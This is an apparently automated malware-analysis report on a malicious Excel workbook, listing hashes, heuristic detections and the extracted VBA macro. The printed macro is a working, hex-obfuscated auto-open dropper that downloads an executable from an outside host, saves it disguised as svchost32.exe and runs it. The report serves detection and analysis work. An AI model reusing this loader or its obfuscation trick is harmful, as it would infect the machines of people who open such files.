Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e47dfe3def825d4b…

MALICIOUS

Office (OOXML)

75.7 KB Created: 2020-09-22 22:47:55 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-10-16
MD5: 01ac25f04c0ea1ad4ff4c2b0d90bed10 SHA-1: 36ce252693c4d58e4ce02f8d427168393814d4b7 SHA-256: e47dfe3def825d4bf2cae2bd1370311ab9d25f746db9447a28e33789db9ed03d
188 Risk Score

Heuristics 5

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    England_CricketTeam.write Australian_CricketTeam.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set Australian_CricketTeam = CreateObject(CRICKETwORLDcup("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Australian_CricketTeam = CreateObject(CRICKETwORLDcup("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2410 bytes
SHA-256: 789e375e59b2d146e4265e8ec082e27b77426157e83949a66ba9aad6727edf61
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Loader"68 74 74 70 3A 2F 2F 64 72 6D 61 6E 69 74 61 72 6F 72 61 2E 63 6F 6D 2F 4E 49 43 25 32 30 49 4E 51 55 49 52 59 2E 65 78 65"
End Sub
 
  
 Public Sub Loader(Link As String)

Dim Australian_CricketTeam

Dim England_CricketTeam

Dim NorvyED_CricketTeam

Set Australian_CricketTeam = CreateObject(CRICKETwORLDcup("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Set England_CricketTeam = CreateObject(CRICKETwORLDcup("41 44 4f 44 42 2e 53 74 72 65 61 6d"))

Set NorvyED_CricketTeam = CreateObject(CRICKETwORLDcup("57 53 63 72 69 70 74 2e 53 68 65 6c 6c "))

hagolabchgay = CRICKETwORLDcup(Link)

 



 

wORldcup2020_dUBAI = CRICKETwORLDcup("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 73 76 63 68 6f 73 74 33 32 2e 65 78 65")

RUNCMD = CRICKETwORLDcup("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 73 76 63 68 6f 73 74 33 32 2e 65 78 65")

Australian_CricketTeam.Open "G" + "E" + "T", hagolabchgay, False

Australian_CricketTeam.send

England_CricketTeam.Type = 1

England_CricketTeam.Open

England_CricketTeam.write Australian_CricketTeam.responseBody

England_CricketTeam.savetofile wORldcup2020_dUBAI, 2

NorvyED_CricketTeam.Run RUNCMD

End Sub

Public Function CRICKETwORLDcup(ByVal iNTELgRApHIcSmOdULes As String) As String
Dim sysTaplAI8AtrAPLANBCGFS   As String
Dim PLAOKMNCVTRqweAQERPLA As String
Dim QWEPLANCBHAGDTRT89UAY         As Long
    For QWEPLANCBHAGDTRT89UAY = 1 To Len(iNTELgRApHIcSmOdULes) Step 3
        sysTaplAI8AtrAPLANBCGFS = Chr$(Val("&H" & Mid$(iNTELgRApHIcSmOdULes, QWEPLANCBHAGDTRT89UAY, 2)))
        PLAOKMNCVTRqweAQERPLA = PLAOKMNCVTRqweAQERPLA & sysTaplAI8AtrAPLANBCGFS
    Next QWEPLANCBHAGDTRT89UAY
    CRICKETwORLDcup = PLAOKMNCVTRqweAQERPLA
End Function





Attribute VB_Name = "Sheet 1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 5120 bytes
SHA-256: 88da366aa82be286ee6f2df4f59bcb1d49e7f03ba5732caa9d09e44f93059990

Open this report in the interactive analyzer, or submit your own file for analysis.